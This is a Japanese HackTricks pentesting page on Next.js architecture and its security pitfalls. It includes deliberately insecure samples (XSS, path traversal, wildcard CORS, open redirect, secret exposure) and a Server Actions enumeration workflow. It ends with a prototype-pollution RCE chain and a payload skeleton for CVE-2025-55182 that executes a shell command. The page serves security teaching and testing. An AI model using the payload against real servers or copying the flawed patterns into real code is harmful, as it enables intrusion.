NextJS

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！
• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。

Next.js アプリケーションの一般的なアーキテクチャ

典型的なファイル構成

標準的な Next.js プロジェクトは、ルーティング、API エンドポイント、静的アセット管理のような機能を容易にする特定のファイルおよびディレクトリ構成に従います。以下は典型的なレイアウトです：

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

コアディレクトリとファイル

• public/: 画像、フォント、その他の静的アセットをホストします。ここにあるファイルはルートパス（/）でアクセス可能です。
• app/: アプリケーションのページ、レイアウト、コンポーネント、APIルートを格納する中心ディレクトリ。App Router パラダイムを採用し、高度なルーティング機能とサーバー／クライアントコンポーネントの分離を可能にします。
• app/layout.tsx: アプリケーションのルートレイアウトを定義し、すべてのページをラップしてヘッダー、フッター、ナビゲーションバーなどの一貫したUI要素を提供します。
• app/page.tsx: ルートパス（/）のエントリポイントとして機能し、ホームページをレンダリングします。
• app/[route]/page.tsx: 静的および動的ルートを処理します。app/ 内の各フォルダはルートセグメントを表し、それらのフォルダ内の page.tsx がそのルートのコンポーネントに対応します。
• app/api/: APIルートを含み、HTTPリクエストを処理するサーバーレス関数を作成できます。これらのルートは従来の pages/api ディレクトリに置き換わります。
• app/components/: 再利用可能なReactコンポーネントを格納し、異なるページやレイアウトで利用できます。
• app/styles/: グローバルなCSSファイルと、コンポーネント単位のスタイリング用のCSS Modulesを含みます。
• app/utils/: ユーティリティ関数、ヘルパーモジュール、その他UI以外のロジックを含み、アプリケーション全体で共有できます。
• .env.local: ローカル開発環境固有の環境変数を保存します。これらの変数はバージョン管理にはコミットされません。
• next.config.js: webpack設定、環境変数、セキュリティ設定など、Next.jsの動作をカスタマイズします。
• tsconfig.json: プロジェクトのTypeScript設定を構成し、型チェックやその他のTypeScript機能を有効にします。
• package.json: プロジェクトの依存関係、スクリプト、メタデータを管理します。
• README.md: セットアップ手順、使用方法、その他関連情報を含むプロジェクトのドキュメントを提供します。
• yarn.lock / package-lock.json: プロジェクトの依存関係を特定のバージョンに固定し、異なる環境間でのインストールを一貫させます。

Next.js のクライアントサイド

app ディレクトリにおけるファイルベースルーティング

app ディレクトリは最新の Next.js バージョンにおけるルーティングの要です。ファイルシステムを利用してルートを定義するため、ルート管理が直感的でスケーラブルになります。

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

クライアント側の潜在的な脆弱性

Next.js は堅牢な基盤を提供しますが、不適切なコーディングにより脆弱性が導入されることがあります。主なクライアント側の脆弱性には次のものがあります:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Next.js のサーバーサイド

サーバサイドレンダリング (SSR)

ページは各リクエストごとにサーバ上でレンダリングされ、ユーザーは完全にレンダリングされた HTML を受け取る。こうしたケースでは、リクエストを処理するために独自の custom server を作成するべきである。

ユースケース:

• 頻繁に変化する動的コンテンツ。
• 検索エンジンが完全にレンダリングされたページをクロールできるため、SEO 最適化。

実装:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

静的サイト生成 (SSG)

ページはビルド時にプリレンダリングされ、読み込み時間が短くなりサーバー負荷が軽減されます。

ユースケース:

• 頻繁に変更されないコンテンツ。
• ブログ、ドキュメント、マーケティングページ。

実装:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

サーバーレス関数（API Routes）

Next.jsでは、APIエンドポイントをサーバーレス関数として作成できます。これらの関数は、専用サーバーを必要とせず、オンデマンドで実行されます。

ユースケース:

• フォーム送信の処理。
• データベースとのやり取り。
• データの処理やサードパーティAPIとの統合。

実装:

Next.js 13でのappディレクトリの導入により、ルーティングとAPI処理はより柔軟かつ強力になりました。このモダンなアプローチはファイルベースのルーティングシステムと密接に整合しつつ、サーバーコンポーネントおよびクライアントコンポーネントのサポートなどの拡張機能を導入します。

基本的なルートハンドラ

File Structure:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

実装:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

説明:

• 場所: API ルートは app/api/ ディレクトリの下に配置されます。
• ファイル名: 各 API エンドポイントは route.js または route.ts ファイルを含むそれぞれのフォルダに配置されます。
• エクスポートされる関数: 単一の default export の代わりに、特定の HTTP メソッド関数（例: GET, POST）をエクスポートします。
• レスポンス処理: Response コンストラクタを使用してレスポンスを返し、ヘッダやステータスコードをより細かく制御できます。

他のパスやメソッドの扱い方:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

CORS 設定

どのオリジンが API ルートにアクセスできるかを制御し、Cross-Origin Resource Sharing (CORS) に関連する脆弱性を軽減します。

不適切な設定例:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

注意: CORS can also be configured in all the API routes は middleware.ts ファイル内でも設定できます:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

問題:

• Access-Control-Allow-Origin: '*': 任意のウェブサイトがAPIにアクセスできるようになり、悪意のあるサイトが制限なくあなたのAPIとやり取りできる可能性があります。
• 広範なメソッド許可: すべてのメソッドを許可すると、攻撃者が望ましくない操作を実行できるようになる可能性があります。

攻撃者による悪用方法:

攻撃者は悪意のあるウェブサイトを作成してあなたのAPIにリクエストを送り、データ取得、データ操作、または認証済みユーザーを代行して望ましくない操作を引き起こすなどの機能を悪用する可能性があります。

CORS - Misconfigurations & Bypass

クライアント側でのサーバーコードの露出

サーバーで使用されるコードをクライアント側に露出・使用してしまうことは簡単に起こり得ます。コードファイルがクライアント側に露出しないようにする最良の方法は、ファイルの先頭でこの import を使用することです:

import "server-only"

主要なファイルとその役割

middleware.ts / middleware.js

Location: プロジェクトのルート、または src/ 内。

Purpose: リクエスト処理の前にサーバーサイドのサーバーレス関数内でコードを実行し、認証、リダイレクト、レスポンスの変更などの処理を行える。

実行フロー:

1. 着信リクエスト: ミドルウェアがリクエストを傍受します。
2. 処理: リクエストに基づいて処理を行います（例: 認証の確認）。
3. レスポンスの変更: レスポンスを変更するか、次のハンドラに制御を渡すことができます。

利用例:

• 認証されていないユーザのリダイレクト。
• カスタムヘッダの追加。
• リクエストのログ記録。

サンプル構成:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

next.config.js

Location: プロジェクトのルート

Purpose: Next.js の動作を構成し、機能の有効化や無効化、webpack 設定のカスタマイズ、環境変数の設定、およびいくつかのセキュリティ機能の構成を行います。

Key Security Configurations:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

https://yourdomain.com/redirect?url=https://malicious-site.com

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

pages/_app.js and pages/_document.js

pages/_app.js

Purpose: デフォルトの App コンポーネントをオーバーライドし、グローバルな状態、スタイル、レイアウトコンポーネントを利用可能にします。

Use Cases:

• グローバルな CSS の注入。
• レイアウトラッパーの追加。
• 状態管理ライブラリの統合。

Example:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Purpose: デフォルトの Document をオーバーライドし、HTML および Body タグのカスタマイズを可能にします。

Use Cases:

• <html> や <body> タグの変更。
• meta タグやカスタムスクリプトの追加。
• サードパーティのフォントを組み込む。

Example:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

カスタムサーバー（任意）

目的： Next.js は組み込みサーバーを備えていますが、カスタムルーティングや既存のバックエンドサービスとの統合など、高度なユースケースのためにカスタムサーバーを作成できます。

注意： カスタムサーバーを使用するとデプロイの選択肢が制限される場合があります。特に Next.js の組み込みサーバー向けに最適化された Vercel のようなプラットフォームでは制約が生じることがあります。

例：

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

追加のアーキテクチャおよびセキュリティに関する考慮事項

環境変数と構成

目的: 機密情報や設定をコードベースの外で管理すること。

ベストプラクティス:

• .env ファイルを使用する: APIキーのような変数を .env.local に保存する（バージョン管理から除外される）。
• 変数に安全にアクセスする: 環境変数にアクセスするには process.env.VARIABLE_NAME を使用する。
• クライアント側でシークレットを公開しない: 機密変数はサーバー側でのみ使用することを確認する。

例：

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

注意： 変数をサーバーサイドのみに制限するには、env オブジェクトからそれらを省略するか、クライアントに公開するには NEXT_PUBLIC_ をプレフィックスとして付けてください。

認証と認可

アプローチ：

• Session-Based Authentication: cookies を使用してユーザーセッションを管理する。
• Token-Based Authentication: ステートレスな認証には JWTs を実装する。
• Third-Party Providers: OAuth プロバイダ（例: Google, GitHub）と next-auth のようなライブラリを使用して統合する。

セキュリティ対策：

• Secure Cookies: HttpOnly、Secure、SameSite 属性を設定する。
• Password Hashing: 保存する前に必ずパスワードをハッシュ化する。
• Input Validation: 入力を検証・サニタイズして、インジェクション攻撃を防ぐ。

例：

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

パフォーマンス最適化

戦略:

• 画像の最適化: 自動画像最適化のために Next.js の next/image コンポーネントを使用する。
• コード分割: 初期読み込み時間を短縮するため、動的インポートを活用してコードを分割する。
• キャッシュ: APIレスポンスや静的アセットに対してキャッシュ戦略を実装する。
• 遅延読み込み: コンポーネントやアセットは必要なときにのみ読み込む。

例:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions 列挙（ハッシュから関数名へ — ソースマップ経由）

最新の Next.js は、サーバー上で実行されるがクライアントから呼び出される “Server Actions” を使用します。本番環境ではこれらの呼び出しは不透明で、すべての POST は共通のエンドポイントに到達し、Next-Action ヘッダで送られるビルド固有のハッシュによって区別されます。例:

POST /
Next-Action: a9f8e2b4c7d1...

productionBrowserSourceMaps が有効になっていると、minified JS チャンクには createServerReference(...) の呼び出しが含まれており、action ハッシュと元の関数名の対応を復元するのに十分な構造（および関連する source maps）を leak します。これにより、Next-Action で観測されるハッシュを deleteUserAccount() や exportFinancialData() のような具体的なターゲットに変換できます。

Extraction approach (regex on minified JS + optional source maps)

ダウンロードした JS チャンク内で createServerReference を検索し、ハッシュと関数／ソースのシンボルを抽出します。役立つ2つのパターン：

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)

• グループ 1: サーバーアクションのハッシュ（40+ 16進文字）
• グループ 2: ソースマップが存在する場合にソースマップを使って元の関数に解決できるシンボルまたはパス

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

実践的なワークフロー

• ブラウズ中の受動的発見: Next-Action ヘッダや JS チャンクの URL をキャプチャする。
• 参照されている JS バンドルと、存在する場合は付随する *.map ファイルを取得する。
• 上記の正規表現を実行してハッシュ↔名前の辞書を構築する。
• 辞書を使ってテストのターゲティングを行う:
  • 名前ベースのトリアージ（例: transferFunds, exportFinancialData）。
  • 関数名でビルド間のカバレッジを追跡する（ハッシュはビルドごとにローテーションする）。

隠されたアクションの実行（テンプレートベースのリクエスト）

プロキシで観測した有効な POST をテンプレートとして取り、Next-Action の値を差し替えて別の発見したアクションをターゲットにする:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Repeaterでリプレイし、通常は到達不能なアクションの認可、入力検証、およびビジネスロジックをテストする。

Burpの自動化

• NextjsServerActionAnalyzer (Burp extension) は上記操作をBurpで自動化する:
• プロキシ履歴を掘り、JSチャンクから createServerReference(...) エントリを抽出し、利用可能な場合はソースマップを解析する。
• 検索可能な hash↔function-name 辞書を維持し、関数名でビルド間の重複を除去する。
• 有効なテンプレートPOSTを特定し、対象アクションのhashを差し替えた送信準備済みのRepeaterタブを開くことができる。
• Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

注意点と制限

• 本番環境で productionBrowserSourceMaps を有効にして、バンドル／ソースマップから名前を復元する必要がある。
• 関数名の開示はそれ自体で脆弱性ではない。発見の指針として利用し、各アクションの認可をテストすること。

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router deployments that expose Server Actions on react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contain a critical server-side prototype pollution during Flight chunk deserialization. By crafting $ references inside a Flight payload an attacker can pivot from polluted prototypes to arbitrary JavaScript execution and then to OS command execution inside the Node.js process.

NodeJS - proto & prototype Pollution

Flightチャンクにおける攻撃チェーン

1. Prototype pollution primitive: Set "then": "$1:__proto__:then" so that the resolver writes a then function on Object.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
2. Rebinding to the global Function constructor: Point _response._formData.get at "$1:constructor:constructor". During resolution, object.constructor → Object, and Object.constructor → Function, so future calls to _formData.get() actually execute Function(...).
3. Code execution via _prefix: Place JavaScript source in _response._prefix. When the polluted _formData.get is invoked, the framework evaluates Function(_prefix)(...), so the injected JS can run require('child_process').exec() or any other Node primitive.

ペイロードのスケルトン

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

参考資料

• Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
• NextjsServerActionAnalyzer (Burp extension)
• CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！
• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。